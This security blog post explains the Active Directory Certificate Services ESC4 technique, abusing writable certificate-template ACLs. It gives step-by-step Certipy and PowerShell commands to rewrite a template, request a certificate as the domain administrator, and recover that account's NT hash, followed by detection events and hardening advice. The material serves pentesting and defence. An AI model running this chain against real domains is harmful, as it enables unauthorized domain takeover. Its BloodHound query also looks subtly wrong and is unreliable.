Exploiting Weak ACLs on Active Directory Certificate Templates: ESC4 Explained

Active Directory Certificate Services (AD CS) has become one of the most targeted attack surfaces in modern enterprise environments. Among the escalation techniques catalogued by researchers Will Schroeder and Lee Christensen in their landmark "Certified Pre-Owned" research, ESC4 stands out as particularly dangerous because it does not require exploiting a software flaw. It requires exploiting trust -- specifically, overly permissive Access Control Lists (ACLs) applied to certificate templates.

If your organization relies on AD CS for authentication, code signing, or VPN access, misconfigured certificate templates could hand an attacker a direct path to domain dominance. This post breaks down the ESC4 attack technique in detail, including the commands attackers use, so your defenders and pentesters know exactly what to look for.

Redfox Cybersecurity offers specialized Active Directory and AD CS pentesting services to help organizations identify and remediate these vulnerabilities before attackers do.

What Is ESC4 and Why Does It Matter

ESC4 refers to a privilege escalation scenario in Active Directory Certificate Services where a low-privileged user or group has been granted write permissions over a certificate template object in Active Directory. These permissions include rights such as:

• WriteProperty
• WriteDacl
• WriteOwner
• GenericWrite
• GenericAll

When any of these rights are misconfigured on a certificate template, an attacker can modify the template's attributes to introduce new vulnerabilities, such as enabling client authentication (ESC1), disabling manager approval, or adding their own Subject Alternative Name (SAN). In short, ESC4 is the gateway that unlocks every other ESC technique.

The reason ESC4 is so impactful is that certificate templates are stored as objects in Active Directory under the Configuration Naming Context. Like all AD objects, they have ACLs, and those ACLs are frequently set incorrectly -- particularly in organizations that have customized templates without security review.

Understanding the AD CS Attack Surface

Before diving into exploitation, it is worth understanding the components involved.

Active Directory Certificate Services Architecture

AD CS is a Windows Server role that issues and manages digital certificates. It includes:

Certificate Authority (CA): The server that signs and issues certificates. There are Enterprise CAs (integrated with AD) and Standalone CAs.

Certificate Templates: Blueprint objects that define what a certificate can be used for, who can request one, and how it is issued. These templates live in CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com.

Enrollment Rights: Define who can request a certificate based on a given template.

Template ACLs: Define who can read, write, or modify the template object itself.

ESC4 targets that last element -- the template ACL.

Why Weak ACLs Exist

ACL misconfigurations on certificate templates often arise from:

• Administrators granting Domain Users or Authenticated Users write access to allow self-service enrollment configuration
• Template cloning without reviewing inherited permissions
• Legacy configurations from older AD CS deployments
• Group Policy preferences applied incorrectly to Configuration partition objects

Enumerating Certificate Template ACLs

The first step in any ESC4 attack is enumeration. Attackers use tools to identify templates where low-privileged principals hold dangerous write permissions.

Using Certify for Enumeration

Certify by GhostPack is the primary tool for enumerating AD CS misconfigurations from a Windows context.

# Enumerate all certificate templates and flag vulnerable ones
.\Certify.exe find /vulnerable

# Find templates with ESC4 conditions specifically
.\Certify.exe find /vulnerable /showAllPermissions


The output will flag templates where Authenticated Users, Domain Users, or other broad groups hold Write permissions. Look for entries like:

Template Name     : CorpUserTemplate
...
[!] Vulnerable Certificate Template:
   Template permissions:
     Enrollment Permissions:
       Enrollment Rights: Domain Users
     Object Control Permissions:
       Owner: CORP\PKIAdmin
       WriteProperty Principals:
         CORP\Domain Users    <-- THIS IS THE PROBLEM


Using Certipy for Enumeration (Linux/Python)

For operators working from a Linux host, Certipy provides equivalent enumeration capabilities.

# Enumerate AD CS from Linux using Certipy
certipy find -u john@corp.local -p 'Password123!' -dc-ip 192.168.1.10

# Output results to a BloodHound-compatible JSON
certipy find -u john@corp.local -p 'Password123!' -dc-ip 192.168.1.10 -bloodhound

# Enumerate and save text output
certipy find -u john@corp.local -p 'Password123!' -dc-ip 192.168.1.10 -text -output corp_adcs


Certipy will generate a corp_adcs_Certipy.txt and optionally BloodHound JSON files that visualize the attack path.

Executing the ESC4 Attack Chain

Once a vulnerable template has been identified, the attack proceeds in three phases: modify the template, request a certificate, and abuse the certificate for privilege escalation.

Phase 1: Modifying the Certificate Template

The attacker uses their write permissions to alter the template's properties, effectively injecting ESC1 conditions into it.

Using Certipy to modify a template:

# Save the original template configuration before modification
certipy template -u john@corp.local -p 'Password123!' -dc-ip 192.168.1.10 -template CorpUserTemplate -save-old

# Modify the template to enable ESC1 conditions
certipy template -u john@corp.local -p 'Password123!' -dc-ip 192.168.1.10 -template CorpUserTemplate -configuration /path/to/ESC1_config.json


Alternatively, using PowerShell with the PSPKI module or direct ADSI manipulation:

# Load the AD module
Import-Module ActiveDirectory

# Get the template object
$template = Get-ADObject -Identity "CN=CorpUserTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Properties *

# Enable the ENROLLEE_SUPPLIES_SUBJECT flag (allows SAN specification)
# msPKI-Certificate-Name-Flag value of 1 enables this
Set-ADObject -Identity $template.DistinguishedName -Replace @{'msPKI-Certificate-Name-Flag' = 1}

# Disable manager approval requirement
# pkiEnrollmentFlag: remove the 0x00000002 bit (PEND_ALL_REQUESTS)
Set-ADObject -Identity $template.DistinguishedName -Replace @{'pKIEnrollmentFlag' = 0}

# Add Client Authentication to Extended Key Usage
# OID 1.3.6.1.5.5.7.3.2 = Client Authentication


At this point the template has been transformed from a benign template into one with ESC1 conditions.

Phase 2: Requesting a Certificate as a High-Privilege User

With the template now misconfigured to allow SAN specification and client authentication, the attacker requests a certificate specifying a privileged user's UPN.

# Request a certificate specifying the Administrator's UPN as SAN
certipy req -u john@corp.local -p 'Password123!' -dc-ip 192.168.1.10 \
 -ca CORP-CA \
 -template CorpUserTemplate \
 -upn administrator@corp.local

# Output: administrator.pfx


This certificate asserts the attacker is the Administrator, from the perspective of Kerberos authentication.

Phase 3: Authenticating as the Target User

# Use the certificate to perform PKINIT and retrieve the Administrator's TGT + NTLM hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

# Output:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889


The attacker now has the NTLM hash of the Domain Administrator and can perform Pass-the-Hash or use the TGT directly for lateral movement and domain compromise.

Restoring the Template After Exploitation

A responsible red team operator -- or an attacker attempting to avoid detection -- will restore the original template configuration:

# Restore the original template configuration saved earlier
certipy template -u john@corp.local -p 'Password123!' -dc-ip 192.168.1.10 \
 -template CorpUserTemplate \
 -configuration CorpUserTemplate.json


Detecting ESC4 Exploitation

Blue teams and SOC analysts should monitor for specific indicators of ESC4 activity.

Windows Event Log Detection

Event ID 4662 is generated when an AD object is accessed. Modifications to certificate template objects will produce this event with the object class pKICertificateTemplate.

Event ID: 4662
Object Type: pKICertificateTemplate
Accesses: Write Property
Properties Modified: msPKI-Certificate-Name-Flag, pKIEnrollmentFlag


Event ID 4899 and 4900 from the Certificate Services audit log indicate template modifications:

Event ID: 4899 - Certificate Services template was updated
Event ID: 4900 - Certificate Services template security was updated


Enable these by running:

# Enable AD CS auditing on the CA
certutil -setreg CA\AuditFilter 127
Restart-Service CertSvc


Using BloodHound to Visualize ESC4 Paths

BloodHound with the ly4k/BloodHound ESC4 data from Certipy can visualize which principals have dangerous write rights over certificate templates. Run the following Cypher query:

MATCH p=shortestPath((n:User)-[:WriteProperty|WriteDacl|WriteOwner|GenericWrite|GenericAll*1..]->(m:GPO))
WHERE m.type = "Certificate Template"
RETURN p


Remediation and Hardening

Defending against ESC4 requires reviewing and tightening ACLs on all certificate template objects.

Audit Certificate Template ACLs

# Use PSPKI to audit template permissions
Import-Module PSPKI
Get-CertificateTemplate | Get-CertificateTemplateAcl |
 Where-Object { $_.Access | Where-Object {
   $_.IdentityReference -match "Domain Users|Authenticated Users|Everyone" -and
   $_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite"
 }}


Hardening Recommendations

Restrict write access: Only PKI administrators should hold WriteProperty, WriteDacl, or GenericWrite over template objects. Remove Domain Users and Authenticated Users from write ACEs.

Enable Manager Approval: For sensitive templates, require CA manager approval before certificates are issued. This adds a human review step that blocks automated abuse.

Disable ENROLLEE_SUPPLIES_SUBJECT: Unless explicitly required, set msPKI-Certificate-Name-Flag to 0 so requesters cannot specify their own Subject Alternative Name.

Monitor with Defender for Identity: Microsoft Defender for Identity has built-in detections for suspicious certificate enrollment patterns. Ensure the AD CS sensor is deployed.

Regular template audits: Schedule quarterly reviews of all certificate template ACLs as part of your AD security hygiene program.

If you are not sure where to start, the pentesting team at Redfox Cybersecurity can perform a comprehensive AD CS assessment that covers all ESC techniques, including ESC4 through ESC8, and delivers a prioritized remediation roadmap.

The Broader ESC Landscape

ESC4 is rarely exploited in isolation. Attackers typically use it as a pivot point to unlock other ESC techniques within the same engagement:

ESC1: Template allows SAN specification with client authentication enabled. ESC4 can inject these conditions.

ESC2: Template has the Any Purpose EKU or no EKU. Writable templates can be modified to introduce this.

ESC3: Template allows Certificate Request Agent enrollment. ESC4 can enable this on a target template.

ESC6: The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set. ESC4 on a CA object can sometimes enable this.

Understanding how these techniques chain together is what separates a surface-level security scan from a true adversarial assessment. Redfox Cybersecurity's red team and pentesting services simulate these multi-stage attack chains to give you a realistic picture of your actual exposure.

Wrapping Up

ESC4 is a stark reminder that misconfiguration is often more dangerous than unpatched vulnerabilities. A single overly permissive ACL on a certificate template can hand an attacker the keys to your entire domain -- without triggering a single antivirus alert, without exploiting a single CVE, and without requiring elevated privileges to begin with.

The attack chain is well-documented, the tooling is publicly available, and threat actors are actively scanning enterprise environments for exactly these conditions. The question is not whether your AD CS deployment has misconfigurations -- it is whether you find them before someone else does.

Proactive testing is the most reliable answer. Redfox Cybersecurity's specialized Active Directory and AD CS pentesting engagements are designed to uncover ESC4 and the full spectrum of certificate services attack paths, helping your team remediate what matters most before it becomes a breach.